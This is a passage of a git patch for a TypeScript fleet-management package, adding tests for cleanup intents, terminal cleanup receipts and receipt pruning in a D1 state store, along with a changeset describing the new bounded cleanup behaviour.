{ version: 1, authorizedAt: null }, + }), + ), + ).toEqual({ eligible: false, reason: 'carrier-phase-inconsistent' }); + }); + + it('refuses an authorized carrier at every admitted phase', () => { + for (const phase of ADMITTED_PHASES) { + expect( + classify( + fleetRecord({ + phase, + invocationAuthority: { version: 1, authorizedAt: NOW }, + }), + ), + ).toEqual({ eligible: false, reason: 'invocation-authorized' }); + } + }); + + it('classifies absent and null carriers across the admitted phases', () => { + for (const phase of RESERVATION_PHASES) { + expect(classify(fleetRecord({ phase }))).toEqual({ + eligible: true, + eligibility: 'reservation-only', + }); + expect( + classify( + fleetRecord({ + phase, + invocationAuthority: { version: 1, authorizedAt: null }, + }), + ), + ).toEqual({ eligible: true, eligibility: 'reservation-only' }); + } + for (const phase of LEGACY_IMPOSSIBLE_PHASES) { + expect(classify(fleetRecord({ phase }))).toEqual({ + eligible: true, + eligibility: 'legacy-phase-impossible', + }); + } + for (const phase of [ + 'application-resources-deployed', + 'platform-resources-deployed', + 'worker-deployed', + 'maintenance-armed', + ] as const) { + expect(classify(fleetRecord({ phase }))).toEqual({ + eligible: false, + reason: 'legacy-phase-ambiguous', + }); + } + for (const phase of ADMITTED_PHASES.filter( + (candidate) => + !RESERVATION_PHASES.includes(candidate as never) && + candidate !== 'maintenance-armed', + )) { + expect( + classify( + fleetRecord({ + phase, + invocationAuthority: { version: 1, authorizedAt: null }, + }), + ), + ).toEqual({ eligible: true, eligibility: 'carrier-null' }); + } + }); +}); diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 81906a25..35fc6d86 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -23,6 +23,8 @@ import { import type { ApplicationR2BucketSnapshot, ApplicationR2Resource, + CleanupAdvanceIntent, + CleanupTerminalReceipt, DatabaseExport, DatabaseExportReceiptIdentity, DatabaseReference, @@ -51,6 +53,7 @@ const LEASE_TABLE = 'anchorage_fleet_leases'; const PLATFORM_CLAIM_TABLE = 'anchorage_platform_plane_claims'; const PLATFORM_LEASE_TABLE = 'anchorage_platform_plane_leases'; const BOUNDED_PROVIDER_TABLE = 'anchorage_test_bounded_decommission_provider'; +const CLEANUP_RECEIPT_TABLE = 'anchorage_fleet_cleanup_receipts'; const DB_NOW_MS = "CAST(unixepoch('subsec') * 1000 AS INTEGER)"; function controlledLeaseClock( @@ -2208,6 +2211,285 @@ async function decommissionIntentLostResponse( }; } +function cleanupIntentFor(base: FleetRecord): CleanupAdvanceIntent { + return { + version: 1, + operationId: '00000000-0000-4000-8000-0000000000aa', + revision: 0, + generation: 0, + updatedAt: '2026-08-11T00:00:00.000Z', + authority: { kind: 'manual-cleanup' }, + identity: { + record: { + tenantTag: base.tenantTag, + environment: base.environment, + backend: base.backend, + scriptName: base.scriptName, + databaseId: base.databaseId, + databaseName: base.databaseName, + routeHostname: base.routeHostname, + }, + admittedPhase: 'worker-deployed', + externalArtifact: false, + }, + state: { step: 'database-deletion' }, + }; +} + +function cleanupAdvancingFixture( + tenantTag: string, + operationId?: string, +): FleetRecord { + const base = { + ...record(tenantTag, 'production'), + phase: 'cleanup-advancing' as const, + applicationResources: [], + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + }; + const intent = cleanupIntentFor(base); + return { + ...base, + cleanupIntent: operationId ? { ...intent, operationId } : intent, + }; +} + +function cleanupReceiptFor(active: FleetRecord): CleanupTerminalReceipt { + const intent = active.cleanupIntent; + if (!intent) throw new Error('fixture record has no cleanup intent'); + return { + version: 1, + operationId: intent.operationId, + tenantTag: active.tenantTag, + environment: active.environment, + backend: active.backend, + scriptName: active.scriptName, + databaseId: active.databaseId, + databaseName: active.databaseName, + authority: 'manual-cleanup', + admittedPhase: intent.identity.admittedPhase, + disposition: 'prepublication-owned-no-export', + evidence: { + eligibility: 'carrier-null', + ingressRemoved: true, + workerAbsent: true, + platformResourcesAbsent: true, + applicationR2Settled: true, + databaseAbsentReadback: true, + scan: { + discover: { evidenceSha256: 'b'.repeat(64), evidenceCount: 2 }, + verify: { evidenceSha256: 'b'.repeat(64), evidenceCount: 2 }, + }, + }, + }; +} + +async function cleanupClaimCount( + db: D1Database, + tenantTag: string, +): Promise { + const row = await db + .prepare( + `SELECT COUNT(*) AS count FROM ${PLATFORM_CLAIM_TABLE} + WHERE resource_set_key = ?`, + ) + .bind(`deployment:${tenantTag}:production`) + .first<{ count: number }>(); + return Number(row?.count); +} + +async function cleanupReceiptCount(db: D1Database): Promise { + const row = await db + .prepare(`SELECT COUNT(*) AS count FROM ${CLEANUP_RECEIPT_TABLE}`) + .first<{ count: number }>(); + return Number(row?.count); +} + +async function cleanupTerminalReceipt(db: D1Database): Promise { + const store = await readyStore(db); + await db.prepare(`DELETE FROM ${CLEANUP_RECEIPT_TABLE}`).run(); + const active = cleanupAdvancingFixture('cleanupterm'); + const receipt = cleanupReceiptFor(active); + return store.withDeploymentLease( + 'cleanupterm', + 'production', + async (lease) => { + if (!lease.completeCleanup) { + throw new Error('completeCleanup capability missing'); + } + await lease.put(active); + const claimsBefore = await cleanupClaimCount(db, 'cleanupterm'); + const stale = await lease + .completeCleanup({ receipt, expectedRevision: 4 }) + .then( + () => undefined, + (error: unknown) => errorShape(error), + ); + const rowAfterStale = await store.get('cleanupterm', 'production'); + const receiptsAfterStale = await cleanupReceiptCount(db); + const persisted = await lease.completeCleanup({ + receipt, + expectedRevision: 0, + }); + const claimsAfter = await cleanupClaimCount(db, 'cleanupterm'); + const rowAfter = await store.get('cleanupterm', 'production'); + const replay = await lease.completeCleanup({ + receipt, + expectedRevision: 0, + }); + const reordered: CleanupTerminalReceipt = { + ...receipt, + evidence: { + scan: { + verify: { evidenceCount: 2, evidenceSha256: 'b'.repeat(64) }, + discover: { evidenceCount: 2, evidenceSha256: 'b'.repeat(64) }, + }, + databaseAbsentReadback: true, + applicationR2Settled: true, + platformResourcesAbsent: true, + workerAbsent: true, + ingressRemoved: true, + eligibility: 'carrier-null', + }, + }; + const keyOrderReplay = await lease.completeCleanup({ + receipt: reordered, + expectedRevision: 0, + }); + const conflict = await lease + .completeCleanup({ + receipt: { ...receipt, disposition: 'reservation-cleared' }, + expectedRevision: 0, + }) + .then( + () => undefined, + (error: unknown) => errorShape(error), + ); + const foreign = await lease + .completeCleanup({ + receipt: { ...receipt, tenantTag: 'other' }, + expectedRevision: 0, + }) + .then( + () => undefined, + (error: unknown) => errorShape(error), + ); + await lease.put(record('cleanupterm', 'production')); + const reprovisioned = await store.get('cleanupterm', 'production'); + const survivingReceipt = await store.readCleanupReceipt?.( + receipt.operationId, + ); + return { + stale, + rowPhaseAfterStale: rowAfterStale?.phase ?? null, + receiptsAfterStale, + claimsBefore, + claimsAfter, + rowAfterTerminal: rowAfter?.phase ?? null, + persistedHasCompletedAt: typeof persisted.completedAtMs === 'number', + replayEqual: JSON.stringify(replay) === JSON.stringify(persisted), + keyOrderReplayEqual: + JSON.stringify(keyOrderReplay) === JSON.stringify(persisted), + conflict, + foreign, + reprovisionPhase: reprovisioned?.phase ?? null, + survivingOperationId: survivingReceipt?.operationId ?? null, + }; + }, + ); +} + +async function cleanupReceiptPrune(db: D1Database): Promise { + const store = await readyStore(db); + await db.prepare(`DELETE FROM ${CLEANUP_RECEIPT_TABLE}`).run(); + const operations = [ + '00000000-0000-4000-8000-0000000000a1', + '00000000-0000-4000-8000-0000000000a2', + '00000000-0000-4000-8000-0000000000a3', + ]; + for (const [index, operationId] of operations.entries()) { + const tenantTag = `prune${index}`; + const active = cleanupAdvancingFixture(tenantTag, operationId); + const receipt = cleanupReceiptFor(active); + await store.withDeploymentLease(tenantTag, 'production', async (lease) => { + if (!lease.completeCleanup) { + throw new Error('completeCleanup capability missing'); + } + await lease.put(active); + await lease.completeCleanup({ receipt, expectedRevision: 0 }); + }); + } + if (!store.pruneCleanupReceipts) { + throw new Error('pruneCleanupReceipts capability missing'); + } + const cutoff = Date.now() + 3_600_000; + const invalid: unknown[] = []; + for (const limit of [0, 1001, 1.5]) { + invalid.push( + await store + .pruneCleanupReceipts({ completedBeforeMs: cutoff, limit }) + .then( + () => undefined, + (error: unknown) => errorShape(error), + ), + ); + } + const untouched = await cleanupReceiptCount(db); + const nothing = await store.pruneCleanupReceipts({ + completedBeforeMs: 0, + limit: 1000, + }); + const firstTwo = await store.pruneCleanupReceipts({ + completedBeforeMs: cutoff, + limit: 2, + }); + const remaining = await db + .prepare( + `SELECT operation_id FROM ${CLEANUP_RECEIPT_TABLE} ORDER BY operation_id`, + ) + .all<{ operation_id: string }>(); + const lowerBound = await store.pruneCleanupReceipts({ + completedBeforeMs: cutoff, + limit: 1, + }); + const rest = await store.pruneCleanupReceipts({ + completedBeforeMs: cutoff, + limit: 1000, + }); + return { + invalid, + untouched, + nothing, + firstTwo, + remainingAfterFirstTwo: remaining.results.map((row) => row.operation_id), + lowerBound, + rest, + finalCount: await cleanupReceiptCount(db), + }; +} + +async function cleanupClaimsRelease(db: D1Database): Promise { + const store = await readyStore(db); + const active = record('claimsrel', 'production'); + return store.withDeploymentLease('claimsrel', 'production', async (lease) => { + await lease.put(active); + const claims = await db + .prepare( + `SELECT resource_set_key, platform_plane_identity + FROM ${PLATFORM_CLAIM_TABLE}`, + ) + .all<{ resource_set_key: string; platform_plane_identity: string }>(); + if (!lease.deleteReleasingClaims) { + throw new Error('deleteReleasingClaims capability missing'); + } + await lease.deleteReleasingClaims(); + return { + identities: claims.results, + claimsAfter: await cleanupClaimCount(db, 'claimsrel'), + rowAfter: (await store.get('claimsrel', 'production'))?.phase ?? null, + }; + }); +} + async function coldConcurrentSchemaInitialization( db: D1Database, ): Promise { @@ -2366,6 +2648,12 @@ export default { return Response.json(await lifecycleErrors(env.DB)); case 'cloudflare-rate-coordination': return Response.json(await cloudflareRateCoordination(env.DB)); + case 'cleanup-terminal-receipt': + return Response.json(await cleanupTerminalReceipt(env.DB)); + case 'cleanup-receipt-prune': + return Response.json(await cleanupReceiptPrune(env.DB)); + case 'cleanup-claims-release': + return Response.json(await cleanupClaimsRelease(env.DB)); case 'cold-concurrent-schema-initialization': return Response.json( await coldConcurrentSchemaInitialization(env.DB), diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index fc0334a6..60547119 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -19,6 +19,39 @@ interface ProbeError { readonly errors?: readonly ProbeError[]; } +interface CleanupTerminalProbe { + stale: ProbeError | undefined; + rowPhaseAfterStale: string | null; + receiptsAfterStale: number; + claimsBefore: number; + claimsAfter: number; + rowAfterTerminal: string | null; + persistedHasCompletedAt: boolean; + replayEqual: boolean; + keyOrderReplayEqual: boolean; + conflict: ProbeError | undefined; + foreign: ProbeError | undefined; + reprovisionPhase: string | null; + survivingOperationId: string | null; +} + +interface CleanupPruneProbe { + invalid: (ProbeError | undefined)[]; + untouched: number; + nothing: { deleted: number }; + firstTwo: { deleted: number }; + remainingAfterFirstTwo: string[]; + lowerBound: { deleted: number }; + rest: { deleted: number }; + finalCount: number; +} + +interface CleanupClaimsProbe { + identities: { resource_set_key: string; platform_plane_identity: string }[]; + claimsAfter: number; + rowAfter: string | null; +} + interface BoundedDecommissionProbe { readonly result: { readonly status: 'pending' | 'blocked' | 'complete'; @@ -301,6 +334,8 @@ describe.sequential('D1FleetStateStore Wrangler harness', { revision: 1, columns: [ 'backend_switch_intent', + 'cleanup_intent', + 'invocation_authority', 'settled_settlement_key', 'decommission_intent', ], @@ -1132,6 +1167,101 @@ describe.sequential('D1FleetStateStore Wrangler harness', { // Resetting the server recreates storage and rebinds `worker`, // so this case stays last. + + it('completes a cleanup terminal atomically with a receipt, claims release, and row delete', async () => { + const result = await probe( + 'cleanup-terminal-receipt', + ); + expect(result.claimsBefore).toBe(1); + expect(result.claimsAfter).toBe(0); + expect(result.rowAfterTerminal).toBeNull(); + expect(result.persistedHasCompletedAt).toBe(true); + }); + + it('refuses a stale cleanup terminal revision without mutating anything', async () => { + const result = await probe( + 'cleanup-terminal-receipt', + ); + expect(result.stale).toEqual({ + name: 'Error', + message: expect.stringContaining('no matching active cleanup operation'), + }); + expect(result.rowPhaseAfterStale).toBe('cleanup-advancing'); + expect(result.receiptsAfterStale).toBe(0); + }); + + it('converges replayed cleanup terminals across evidence key order', async () => { + const result = await probe( + 'cleanup-terminal-receipt', + ); + expect(result.replayEqual).toBe(true); + expect(result.keyOrderReplayEqual).toBe(true); + }); + + it('refuses conflicting and foreign cleanup terminal receipts', async () => { + const result = await probe( + 'cleanup-terminal-receipt', + ); + expect(result.conflict).toEqual({ + name: 'Error', + message: expect.stringContaining('cleanup receipt conflict'), + }); + expect(result.foreign).toEqual({ + name: 'Error', + message: expect.stringContaining('cannot write'), + }); + }); + + it('keeps historical cleanup receipts across an immediate same-key reprovision', async () => { + const result = await probe( + 'cleanup-terminal-receipt', + ); + expect(result.reprovisionPhase).toBe('ready'); + expect(result.survivingOperationId).toBe( + '00000000-0000-4000-8000-0000000000aa', + ); + }); + + it('fails closed on invalid cleanup receipt prune limits', async () => { + const result = await probe('cleanup-receipt-prune'); + for (const refusal of result.invalid) { + expect(refusal).toEqual({ + name: 'Error', + message: expect.stringContaining('limit'), + }); + } + expect(result.untouched).toBe(3); + }); + + it('prunes cleanup receipts in stable database-time order', async () => { + const result = await probe('cleanup-receipt-prune'); + expect(result.nothing).toEqual({ deleted: 0 }); + expect(result.firstTwo).toEqual({ deleted: 2 }); + expect(result.remainingAfterFirstTwo).toEqual([ + '00000000-0000-4000-8000-0000000000a3', + ]); + expect(result.lowerBound).toEqual({ deleted: 1 }); + expect(result.rest).toEqual({ deleted: 0 }); + expect(result.finalCount).toBe(0); + }); + + it('releases claims and the fleet row through the force deletion path', async () => { + const result = await probe('cleanup-claims-release'); + expect(result.claimsAfter).toBe(0); + expect(result.rowAfter).toBeNull(); + }); + + it('writes every deployment claim under the deployment identity', async () => { + const result = await probe('cleanup-claims-release'); + expect(result.identities.length).toBeGreaterThan(0); + for (const claim of result.identities) { + expect(claim.resource_set_key).toBe('deployment:claimsrel:production'); + expect(claim.platform_plane_identity).toBe( + 'deployment:claimsrel:production', + ); + } + }); + it('initializes the schema under concurrent first writes on fresh D1 storage', async () => { await server.reset(); worker = server.getWorker(); @@ -1149,6 +1279,8 @@ describe.sequential('D1FleetStateStore Wrangler harness', { 'backend_switch_intent', 'settled_settlement_key', 'decommission_intent', + 'cleanup_intent', + 'invocation_authority', ], rows: 16, tables: [ diff --git a/packages/fleet-control/test/state-store.test.ts b/packages/fleet-control/test/state-store.test.ts index 3e57fefd..67076ea1 100644 --- a/packages/fleet-control/test/state-store.test.ts +++ b/packages/fleet-control/test/state-store.test.ts @@ -178,6 +178,8 @@ class MemoryD1 implements FleetStateDatabase { 'migration_intent', 'backend_switch_intent', 'decommission_intent', + 'cleanup_intent', + 'invocation_authority', 'durable_object_tag', 'durable_object_migration_history', 'durable_object_migration_history_digest', @@ -1043,6 +1045,8 @@ describe('D1FleetStateStore release state', () => { 'backend_switch_intent', 'settled_settlement_key', 'decommission_intent', + 'cleanup_intent', + 'invocation_authority', ]); const current = new SchemaD1(); await new D1FleetStateStore(current, { accountId: 'account' }).get( @@ -1052,8 +1056,14 @@ describe('D1FleetStateStore release state', () => { expect(current.columns.get('decommission_intent')).toEqual( nullableTextColumn('decommission_intent'), ); + expect(current.columns.get('cleanup_intent')).toEqual( + nullableTextColumn('cleanup_intent'), + ); + expect(current.columns.get('invocation_authority')).toEqual( + nullableTextColumn('invocation_authority'), + ); expect(current.deploymentCreateSql).toMatch( - /backend_switch_intent TEXT,\s+decommission_intent TEXT,\s+durable_object_tag TEXT/u, + /backend_switch_intent TEXT,\s+decommission_intent TEXT,\s+cleanup_intent TEXT,\s+invocation_authority TEXT,\s+durable_object_tag TEXT/u, ); const incompatible = new SchemaD1(); @@ -1105,6 +1115,8 @@ describe('D1FleetStateStore release state', () => { 'migration_intent', 'backend_switch_intent', 'decommission_intent', + 'cleanup_intent', + 'invocation_authority', 'durable_object_tag', 'durable_object_migration_history', 'durable_object_migration_history_digest', @@ -1958,3 +1970,273 @@ describe('D1FleetStateStore release state', () => { ).resolves.toEqual(record); }); }); + +const CLEANUP_OPERATION_ID = '4c5d6e7f-1234-4abc-8def-1234567890ab'; + +function cleanupIntentFixture( + record: FleetRecord, +): import('../src/types.js').CleanupAdvanceIntent { + return { + version: 1, + operationId: CLEANUP_OPERATION_ID, + revision: 0, + generation: 0, + updatedAt: '2026-08-11T00:00:00.000Z', + authority: { kind: 'manual-cleanup' }, + identity: { + record: { + tenantTag: record.tenantTag, + environment: record.environment, + backend: record.backend, + scriptName: record.scriptName, + databaseId: record.databaseId, + databaseName: record.databaseName, + routeHostname: record.routeHostname, + }, + admittedPhase: 'worker-deployed', + externalArtifact: false, + }, + state: { step: 'teardown-traffic' }, + }; +} + +function cleanupAdvancingRecord(): FleetRecord { + const base = { + ...reservedRecord('plain-worker'), + artifactVersion: 'artifact-v1', + phase: 'cleanup-advancing' as const, + applicationResources: [], + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + }; + return { ...base, cleanupIntent: cleanupIntentFixture(base) }; +} + +describe('D1FleetStateStore cleanup state', () => { + it('round-trips an active cleanup intent and invocation authority carrier', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + const record: FleetRecord = { + ...cleanupAdvancingRecord(), + invocationAuthority: { version: 1, authorizedAt: null }, + }; + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put(record), + ); + await expect(store.get('acme', 'production')).resolves.toEqual(record); + }); + + it('round-trips null and timestamp carriers on a provisioning record', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + const base = { + ...reservedRecord('plain-worker'), + applicationResources: [], + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + }; + for (const authorizedAt of [null, '2026-08-11T00:00:01.000Z']) { + const record: FleetRecord = { + ...base, + invocationAuthority: { version: 1, authorizedAt }, + }; + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put(record), + ); + await expect(store.get('acme', 'production')).resolves.toEqual(record); + } + }); + + it('refuses malformed stored cleanup intent columns', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put(cleanupAdvancingRecord()), + ); + const persisted = db.row; + for (const malformed of [ + '{not json', + '{"version":2}', + JSON.stringify({ version: 1 }), + 'x'.repeat(98_305), + ]) { + db.row = { ...persisted, cleanup_intent: malformed }; + await expect(store.get('acme', 'production')).rejects.toThrow( + 'fleet state row has invalid cleanup_intent', + ); + } + db.row = persisted; + }); + + it('refuses malformed stored invocation authority carriers', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...reservedRecord('plain-worker'), + invocationAuthority: { version: 1, authorizedAt: null }, + }), + ); + const persisted = db.row; + for (const malformed of [ + '{not json', + JSON.stringify({ version: 2, authorizedAt: null }), + JSON.stringify({ version: 1 }), + JSON.stringify({ version: 1, authorizedAt: 'not-a-timestamp' }), + JSON.stringify({ version: 1, authorizedAt: null, extra: true }), + ]) { + db.row = { ...persisted, invocation_authority: malformed }; + await expect(store.get('acme', 'production')).rejects.toThrow( + 'fleet state row has invalid invocation_authority', + ); + } + db.row = persisted; + }); + + it('refuses a cleanup intent outside the cleanup-advancing phase', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + const base = reservedRecord('plain-worker'); + await expect( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ ...base, cleanupIntent: cleanupIntentFixture(base) }), + ), + ).rejects.toThrow('fleet state row has invalid cleanup_intent'); + }); + + it('refuses a cleanup-advancing record without a cleanup intent', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + await expect( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...reservedRecord('plain-worker'), + phase: 'cleanup-advancing', + }), + ), + ).rejects.toThrow('fleet state row has invalid cleanup_intent'); + }); + + it('refuses a cleanup intent coexisting with another durable authority', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + const cleanup = cleanupAdvancingRecord(); + const decommissioned = transitioningRecord(); + await expect( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...cleanup, + decommissionIntent: decommissioned.decommissionIntent, + }), + ), + ).rejects.toThrow(/cleanup intent|decommission_intent/u); + await expect( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...decommissioned, + cleanupIntent: cleanupIntentFixture(decommissioned), + }), + ), + ).rejects.toThrow(/cleanup|inconsistent/u); + }); + + it('refuses a cleanup intent coexisting with a migration intent', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + const policy = canonicalDeploymentEgressPolicy({ + policyId: 'policy-acme', + tenantTag: 'acme', + environment: 'production', + allowedHosts: ['api.example.com'], + }); + const application = { vars: [], secrets: [], r2Buckets: [] }; + const topology = { + durableObjectBindings: [], + serviceBindings: [], + queueProducerBindings: [], + secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], + application, + }; + const release = (suffix: string, digest: string) => ({ + physicalScriptName: `acme-production-${suffix.repeat(20)}`, + specDigest: digest.repeat(64), + artifactVersion: `etag-${suffix}`, + releaseSchemaVersion: 1, + application, + topology, + }); + const target = { + maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY, + stateArtifactDigest: 'e'.repeat(64), + stateDurableObjectHistoryDigest: '1'.repeat(64), + stateDurableObjectTag: 'state-v1', + egressArtifactDigest: 'f'.repeat(64), + d1SchemaVersion: 1, + d1SchemaHistoryDigest: '2'.repeat(64), + outboundPolicy: policy, + }; + const base = cleanupAdvancingRecord(); + await expect( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...base, + migrationIntent: { + targetSpecDigest: 'b'.repeat(64), + priorRelease: release('a', 'a'), + priorTarget: target, + priorOutboundPolicy: policy, + targetRelease: release('b', 'b'), + target, + subphase: 'planned', + }, + }), + ), + ).rejects.toThrow(/cleanup intent|migration/u); + }); + + it('preserves the invocation authority carrier through backend-switch canonicalization', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + const record: FleetRecord = { + ...backendSwitchStateRecord(), + invocationAuthority: { version: 1, authorizedAt: null }, + }; + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put(record), + ); + await expect(store.get('acme', 'production')).resolves.toEqual(record); + }); + + it('refuses a cleanup intent riding backend-switch authority', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + const record = backendSwitchStateRecord(); + await expect( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...record, + cleanupIntent: cleanupIntentFixture(record), + }), + ), + ).rejects.toThrow('backend switch decommission record is malformed'); + }); + + it('refuses a cleanup intent beside a settled shell-free backend switch', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + const { + decommissionIntent: _shell, + databaseExportLocation: _location, + databaseExportSha256: _sha256, + databaseExportSize: _size, + ...settled + } = backendSwitchStateRecord(); + const base = { ...settled, phase: 'cleanup-advancing' as const }; + await expect( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...base, + cleanupIntent: cleanupIntentFixture(base), + }), + ), + ).rejects.toThrow('backend switch decommission record is malformed'); + }); +}); diff --git a/scripts/architecture-fixtures/cleanup-state-imports-provider.ts b/scripts/architecture-fixtures/cleanup-state-imports-provider.ts new file mode 100644 index 00000000..0895ff88 --- /dev/null +++ b/scripts/architecture-fixtures/cleanup-state-imports-provider.ts @@ -0,0 +1,4 @@ +import '../../packages/fleet-control/src/cloudflare-worker-attachment-scan.js'; +import Cloudflare from 'cloudflare'; + +void Cloudflare; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index 2fe9cdbe..4d6d6586 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -104,6 +104,8 @@ const controls = { 'scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts', 'fleet-control-decommission-state-does-not-reach-provider': 'scripts/architecture-fixtures/decommission-state-imports-provider.ts', + 'fleet-control-cleanup-state-does-not-reach-provider': + 'scripts/architecture-fixtures/cleanup-state-imports-provider.ts', 'fleet-control-decommission-advance-is-transport-neutral': 'scripts/architecture-fixtures/decommission-advance-imports-provider.ts', 'fleet-control-decommission-database-is-provider-neutral': From 8ae28bfbe36a30596a04b9a173a6f1be258092ad Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 31 Aug 2026 23:51:04 +0400 Subject: [PATCH 044/169] feat(fleet-control): add bounded cleanup engine with rollback and invocation authority --- .changeset/bounded-cleanup-receipts.md | 14 + .dependency-cruiser.cjs | 16 + docs/fleet-control.md | 14 +- docs/security-threat-model.md | 8 + packages/fleet-control/README.md | 2 + packages/fleet-control/src/backend-switch.ts | 53 +- packages/fleet-control/src/cleanup-advance.ts | 1349 +++++++++++++ .../fleet-control/src/decommission-advance.ts | 7 +- packages/fleet-control/src/fleet.ts | 157 +- packages/fleet-control/src/index.ts | 27 + packages/fleet-control/src/provision.ts | 549 +++--- .../fleet-control/test/backend-switch.test.ts | 46 - .../test/cleanup-advance.test.ts | 1704 +++++++++++++++++ .../test/cross-backend-continuation.test.ts | 140 +- .../test/fixtures/plain-worker-harnesses.ts | 37 + packages/fleet-control/test/fleet.test.ts | 232 ++- .../test/plain-worker-backend-conformance.ts | 3 + packages/fleet-control/test/provision.test.ts | 850 +++++++- .../cleanup-advance-imports-provider.ts | 2 + .../architecture-positive-controls.test.mjs | 2 + 20 files changed, 4843 insertions(+), 369 deletions(-) create mode 100644 .changeset/bounded-cleanup-receipts.md create mode 100644 packages/fleet-control/src/cleanup-advance.ts create mode 100644 packages/fleet-control/test/cleanup-advance.test.ts create mode 100644 scripts/architecture-fixtures/cleanup-advance-imports-provider.ts diff --git a/.changeset/bounded-cleanup-receipts.md b/.changeset/bounded-cleanup-receipts.md new file mode 100644 index 00000000..94666f87 --- /dev/null +++ b/.changeset/bounded-cleanup-receipts.md @@ -0,0 +1,14 @@ +--- +'@proofoftech/fleet-control': minor +--- + +Add token-driven bounded no-export cleanup with durable operation-keyed terminal receipts. `advanceCleanupDeployment()` performs at most one bounded scan chunk or one action group per call; the terminal call persists an immutable receipt, releases the deployment's ownership claims, and deletes the fleet row in one D1 batch. Receipts survive same-key reprovisioning and force decommission; read them with `readCleanupReceipt()` and garbage-collect them explicitly with `pruneCleanupReceipts()` (database-time cutoff, stable order, limit 1..1,000). `cleanupDeploymentArtifacts()` and the default failed-provision rollback drain this engine on capable stacks. + +- **BEHAVIOR CHANGE:** No-export cleanup is narrowed to deployments that provably never authorized a candidate invocation. New records persist an invocation-authority carrier on their first durable write, and every candidate-invoking dispatch (external candidate upload, first maintenance request, version override, promotion) commits an authorization timestamp durably before the provider call. Authorized rows, legacy carrier-less rows at `application-resources-deployed` through `maintenance-armed`, and rows with external staging evidence now refuse toward export-backed decommissioning; trusted plain deployments keep no-export cleanup through `worker-deployed`. +- **BEHAVIOR CHANGE:** Workers for Platforms and external-artifact deployments always refuse no-export cleanup: every current candidate binds the deployment D1, and no reviewed no-data profile exists. +- **BEHAVIOR CHANGE:** A failed provision whose rollback admitted the bounded engine is durably `cleanup-advancing`. `provisionDeployment()` refuses to resume it with a fixed redirect to cleanup; complete the cleanup (receipt) and reprovision fresh. Previously the row kept its provisioning phase and could be retried as provisioning. +- **BEHAVIOR CHANGE:** External-candidate and WFP failed-provision rollback no longer tears the deployment down. The engine refuses before any mutation, the row keeps its phase and stays provisioning-retryable, and teardown routes to export-backed decommissioning. +- **BEHAVIOR CHANGE:** Cleanup completion releases the deployment's ownership claims; decommission claim behavior is unchanged. Force decommission releases current claims on capable stores, refuses during an active bounded cleanup, and on legacy lease implementations without `deleteReleasingClaims` deletes the row and leaves claims for later reconciliation. Force does not delete the ordinary Worker script or application R2, so do not reprovision the same names until residual physical resources are confirmed removed; provisioning fails closed on ownership mismatch. +- **BEHAVIOR CHANGE:** `auditFleetDrift()` treats a deployment under active bounded cleanup as its own reconciliation authority: no expectation-based, orphan, or record-level findings (including `incomplete-provisioning`) while the cleanup intent is active. + +Add `ProvisionDeploymentOptions.failureCleanup: 'drain' | 'bounded'` (default `'drain'`); with `'bounded'` the rollback performs at most one bounded advance and surfaces the resumable outcome through the new `ProvisioningError.cleanup` field. diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index e365c7d2..dd2dce60 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -235,6 +235,22 @@ module.exports = { reachable: true, }, }, + { + name: 'fleet-control-cleanup-advance-is-transport-neutral', + severity: 'error', + comment: + 'The bounded cleanup coordinator depends only on provider-neutral ports and state. Keeping provider clients, Wrangler, concrete export stores, root barrels, and unbounded lifecycle coordinators out of its reachable graph preserves the transport-neutral boundary.', + from: { + path: [ + '^packages/fleet-control/src/cleanup-advance\\.ts$', + '^scripts/architecture-fixtures/cleanup-advance-imports-provider\\.ts$', + ], + }, + to: { + path: 